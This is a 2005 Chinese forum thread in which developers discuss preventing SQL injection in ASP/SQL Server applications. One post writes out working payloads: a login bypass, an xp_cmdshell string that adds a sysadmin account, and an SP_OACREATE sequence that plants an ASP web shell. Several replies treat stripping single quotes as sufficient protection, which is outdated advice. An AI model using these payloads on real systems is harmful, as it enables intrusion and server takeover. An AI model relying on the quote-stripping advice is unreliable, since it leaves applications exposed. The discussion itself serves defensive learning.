主题:  [讨论] 关于防止SQL注入的方法。。。

{ 在指尖上绽放的花朵 }

职务:普通成员
等级:5
金币:14.0
发贴:3209
注册:2002/7/25 21:24:11
#12005/1/25 17:56:45
看到最近风行讨论帖。。。我也跟个风好了~~~~

大家一般都是怎么避免被射入的呢?

我的方法是写一个函数处理由 Browser GET 进来的数据。。。

过滤里面非数字非字母的部分。。。

但是如果碰到需要传递比较复杂的数据的时候。。。就会很麻烦。。。

不知道大家都用的是什么方法呢?



蓝鲸

职务:版主
等级:5
金币:42.1
发贴:2614
注册:2001/12/20 15:57:57
#22005/1/25 21:44:58
这个问题不错,本来也想专门看一下这些资料,不过最近没空,对自己的程序在安全性方面也做了很少,不过还是留意了一些,也没有专门去测试。

一般应该过滤一些字符,特别是象 & % or ' =等一些SQL中的符号,比如SQL验证中的语句
SELECT * FROM Member WHERE UserName = 'A1' AND[Password] = 'password'
如果输入名称为"P1' OR '1' = '1
Password为"000000' OR '1' = '1
则验证SQL为
SELECT * FROM Member WHERE UserName = 'P1' OR '1' = '1' AND[Password] = '000000' OR '1' = '1'
那么这个SQL永远是成立的,所以输入内容必须过滤一些字符。


非常大鱼

{ 在指尖上绽放的花朵 }

职务:普通成员
等级:5
金币:14.0
发贴:3209
注册:2002/7/25 21:24:11
#32005/1/25 22:18:04
上面说的这都是小事呢。。。。

SQL 射入者一般都是运行 SHELL 命令以获取服务器的操控权。。。。

那个太可怕了。。。。。



蓝鲸

职务:版主
等级:5
金币:42.1
发贴:2614
注册:2001/12/20 15:57:57
#42005/1/25 23:00:42
行者能介绍一下吗,安全方面是专门一课题,希望能尽量多知道一些。


非常大鱼

透明男孩

职务:普通成员
等级:2
金币:0.0
发贴:373
注册:2001/8/7 7:32:48
#52005/1/26 10:08:33
继续。。。。。。



{ 在指尖上绽放的花朵 }

职务:普通成员
等级:5
金币:14.0
发贴:3209
注册:2002/7/25 21:24:11
#62005/1/26 12:50:32
安全方面的东西太多了。。。。。

我也是刚刚涉足这个领域而已。。。。就我知道的稍微说说好了。。

举最简单 SQL 射入的例子。。。

引用:
SQLstr = "SELECT * FROM tblUser WHERE UserName='" & _
Request("UserName") & "' AND Password='" & Request("Pass") & "'"


这是一般的写法。。。

如果在表单的用户名域填入 ' or 1=1--

则 SQL 语句变成:
引用:
SELECT * FROM tblUser WHERE UserName='' or 1=1 --' AND assword='xxxxx'



AND 子句被表示为说明。。。就可以成功进入系统。。

既然有任意执行 SQL 语句的权限了。。一般人当然不肯就此罢休。。。

如果填入。。。
引用:
' ; EXEC MASTER..XP_CMDSHELL 'net user Hacker /add' EXEC MASTER..SP_GRANTLOGIN 'BYRON-XP\Hacker' EXEC MASTER..SP_ADDSRVROLEMEMBER 'BYRON-XP\Hacker','sysadmin'--


或者
引用:
DECLARE @fs int,@fi int
EXEC SP_OACREATE 'Scripting.FileSystemObject',@fs OUTPUT
EXEC SP_OAMETHOD @fs,'CreateTextFile',@fs OUTPUT,'C:\InetPub\WWWRoot\SQLInject\Shell.asp',1
EXEC SP_OAMETHOD @fs,'WriteLine',null,'<% Set objShell=Server.CreateObject("WScript.Shell") : objShell.Run Request("cmd") %>'


后果就会严重很多了。。。。



蓝鲸

职务:版主
等级:5
金币:42.1
发贴:2614
注册:2001/12/20 15:57:57
#72005/1/26 18:56:31
晚上太忙了,空时一定好好看你的帖子。


非常大鱼

{ 在指尖上绽放的花朵 }

职务:普通成员
等级:5
金币:14.0
发贴:3209
注册:2002/7/25 21:24:11
#82005/1/26 22:16:25
蓝鲸在上个帖子中说
引用:
晚上太忙了,空时一定好好看你的帖子。


我也是刚刚涉足安全领域呢。。。

如果有什么写的不对的地方还希望鲸兄指正。。。。



janlay

职务:管理员
等级:7
金币:28.0
发贴:7244
注册:2003/11/27 18:07:11
#92005/1/27 9:59:09
有必要替换这么多吗,干掉'就OK了,''内的任何 T-SQL 操作符都将成为普通字符,无法发挥作用。

关于SQL Server安全性的问题,强烈建议大家以集成 Windows 验证登录数据库(而不是通过新建SQL Server帐号来登录),将 SQL Server 服务以指定帐户身份运行(而是不是以系统用户身份运行)。这样,即使通过漏洞控制了 SQL Server, 攻击者也会因登录帐户权限太小而无所作为。



majunant

职务:普通成员
等级:1
金币:1.0
发贴:37
注册:2001/10/8 3:35:52
#102005/1/27 10:02:51
我在实际工作中还没遇到那么问题,只是将'替换掉。



蓝鲸

职务:版主
等级:5
金币:42.1
发贴:2614
注册:2001/12/20 15:57:57
#112005/1/27 10:14:31
除非常必要,可以用其它方法实施管理员功能。用来宾的身份已经可以很好运行SQL的大部分功能了,限制权限很重要。另外对sa的空密码也很容易遭受攻击。


非常大鱼